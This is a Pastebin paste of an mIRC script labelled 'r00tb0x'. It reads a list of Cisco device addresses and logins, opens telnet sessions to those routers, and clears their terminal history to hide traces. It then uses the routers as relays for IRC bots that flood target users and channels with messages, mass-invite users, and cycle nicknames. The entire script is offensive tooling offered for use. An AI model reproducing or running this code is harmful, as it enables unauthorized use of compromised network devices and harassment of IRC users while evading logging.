Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 4.80 KB | None | 0 0
  1. alias cload {
  2.   set %cisco.lines $lines(%cisco.file)
  3.   set %cisco $r(1,%cisco.lines)
  4.   sockopen cisco $+ $r(999,999999999999999999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
  5.   sockopen cisco $+ $r(999,999999999999999999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
  6. }
  7. alias creconnect {
  8.   sockwrite -nt cisco* QUIT $1-
  9.   sockwrite -nt cisco* CONNECT %server %port
  10. }
  11. alias cw {
  12.   sockwrite -nt cisco* $1-
  13. }
  14. alias cnick2 { var %var = 1
  15.   while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $1 $+ $rand(99,999) $+ $rand(99,999)
  16.     inc %var 1
  17.   }
  18. }
  19. alias cnick { var %var = 1
  20.   while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $read(ID.txt), %nick $+ %var)
  21.     inc %var 1
  22.   }
  23. }
  24. alias cnick2 {
  25.   set %var 1
  26.   sockwrite -n $sock(cisco*, %var) NICK Guest $+ $r(99999,9999999)
  27.   inc %var
  28. }
  29. alias creg {
  30.   sockwrite -nt cisco* PRIVMSG nickserv REGISTER bot1234 bots@bots.com
  31. }
  32. alias cdrop {
  33.   sockwrite -nt cisco* PRIVMSG nickserv DROP
  34. }
  35. alias cjoin {
  36.   sockwrite -nt cisco* JOIN $1
  37. }
  38. alias cpart {
  39.   sockwrite -nt cisco* part $1
  40. }
  41. alias cquit {
  42.   sockwrite -nt cisco* QUIT $1-
  43.   sockwrite -nt cisco* terminal history size 0
  44. }
  45. alias chistory {
  46.   sockwrite -nt cisco* terminal history size 0
  47. }
  48. alias cclose {
  49.   sockclose cisco*
  50. }
  51. alias cchop {
  52.   sockwrite -nt cisco* JOIN $1-
  53.   sockwrite -nt cisco* PART $1-
  54. }
  55. alias cmsg {
  56.   sockwrite -nt cisco* PRIVMSG $1-
  57. }
  58. alias cnotice {
  59.   sockwrite -nt cisco* NOTICE $1-
  60. }
  61. alias chop {
  62.   sockwrite -nt cisco* PART $1-
  63.   sockwrite -nt cisco* JOIN $1-
  64. }
  65. alias cinvite {
  66.   set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  67.   sockwrite -nt cisco* JOIN %chan
  68.   sockwrite -nt cisco* INVITE $1 %chan
  69.   set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  70.   sockwrite -nt cisco* JOIN %chan
  71.   sockwrite -nt cisco* INVITE $1 %chan
  72.   set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  73.   sockwrite -nt cisco* JOIN %chan
  74.   sockwrite -nt cisco* INVITE $1 %chan
  75.   set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  76.   sockwrite -nt cisco* JOIN %chan
  77.   sockwrite -nt cisco* INVITE $1 %chan
  78.   set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  79.   sockwrite -nt cisco* JOIN %chan
  80.   sockwrite -nt cisco* INVITE $1 %chan
  81.   set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  82.   sockwrite -nt cisco* JOIN %chan
  83.   sockwrite -nt cisco* INVITE $1 %chan
  84. }
  85. alias cflood {
  86.   set %target $1
  87.   set %target.text $2-
  88.   sockwrite -nt cisco* PRIVMSG %target %target.text
  89.   cnick
  90.   sockwrite -nt cisco* PRIVMSG %target %target.text
  91.   cnick
  92.   sockwrite -nt cisco* PRIVMSG %target %target.text
  93.   cnick
  94.   sockwrite -nt cisco* PRIVMSG %target %target.text
  95.   cnick
  96.   sockwrite -nt cisco* PRIVMSG %target %target.text
  97.   cnick
  98.   sockwrite -nt cisco* PRIVMSG %target %target.text
  99.   cnick
  100.   sockwrite -nt cisco* PRIVMSG %target %target.text
  101.   cnick
  102.   sockwrite -nt cisco* PRIVMSG %target %target.text
  103.   cnick
  104. }
  105. alias cchanflood {
  106.   set %target.text $2-
  107.   sockwrite -nt cisco* JOIN $1
  108.   sockwrite -nt cisco* PRIVMSG %target.text
  109.   cnick
  110.   cnick
  111. }
  112. on *:sockopen:cisco*: {
  113.   sockwrite -nt $sockname $gettok($read(%cisco.file, %cisco), 2, 32)
  114.   sockwrite -nt $sockname terminal history size 0
  115.   sockwrite -nt $sockname connect %server %port
  116.   sockwrite -n $sockname USER $read(ID.txt) $read(ID.txt) $read(ID.txt) $read(ID.txt)
  117.   sockwrite -n $sockname NICK $read(ID.txt)
  118.   window @status
  119.   .write lol.txt r00tb0x:  Logging in: $sock($sockname).ip
  120. }
  121. on *:sockread:cisco*: {
  122.   sockread %tmp
  123.   tokenize 32 %tmp
  124.   window @status
  125.   .echo @status $sock($sockname).ip - %tmp
  126.   sockwrite -nt cisco* CONNECT %server %port
  127.   sockwrite -nt cisco* USER root :r00tbot
  128.   .timer 1 1 sockwrite -nt cisco* JOIN %home.chan
  129.   if (:version == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :VERSION $+($botversion,) }
  130.   if ($sockerr || !%tmp) { return | window @broken | echo @broken $sockname }
  131.   if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }
  132.   halt
  133. }
  134. alias botversion {
  135.   return -o0o- r00tb0x _ver 1.0b -o0o-
  136. }
  137. alias botsend sockwrite -tn $sockname
  138. alias botread return $remove($1,:)
  139. alias sockbotread {
  140.   if (:version == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :VERSION $+($botversion,) }
  141.   if ($4 == :TIME) { sockwrite -tn $sockname :TIME $time(hh:nn:sstt) $+  }
  142. }
  143. alias -l cgsbwin {
  144.   aline -pt 10 @status  $timestamp * $botversion
  145.   aline -pt @status $+(@,$1) $timestamp $3-
  146. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement